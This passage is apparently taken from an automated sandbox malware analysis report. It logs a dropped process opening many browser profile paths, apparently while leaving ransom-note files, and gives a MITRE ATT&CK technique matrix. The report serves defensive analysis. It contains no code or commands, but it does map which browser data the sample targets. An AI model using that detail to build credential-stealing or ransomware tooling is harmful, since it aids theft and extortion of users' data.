Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\js\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\0.57.44.2492\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Sync Data\LevelDB\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OnDeviceHeadSuggestModel\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension State\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OriginTrials\1.0.0.14\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FontLookupTableCache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Sync Data\LevelDB\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\js\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\WidevineCdm\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension State\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\2986\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GPUCache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies\61\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\AutofillStrikeDatabase\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SSLErrorAssistant\7\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\8167\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Sync Data\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.47.0\LICENSE.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ShaderCache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SSLErrorAssistant\7\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Cache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OnDeviceHeadSuggestModel\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\BrowserMetrics\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\wasm\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateTransparency\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\0.57.44.2492\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OriginTrials\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Local Storage\leveldb\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\2022.10.19.1145\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Storage\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SSLErrorAssistant\7\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\restore_files_gpmus.txt	Jump to behavior

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Directory queried: number of queries: 1023

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	4 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	5 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Browser Extensions	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	11 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	11 Registry Run Keys / Startup Folder	11 Process Injection	1 Install Root Certificate	Security Account Manager	14 File and Directory Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Multi-hop Proxy	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	24 System Information Discovery	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 File Deletion	Cached Domain Credentials	13 Security Software Discovery	VNC	GUI Input Capture	2 Proxy	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	2 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0t8amSU3vd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
0t8amSU3vd.exe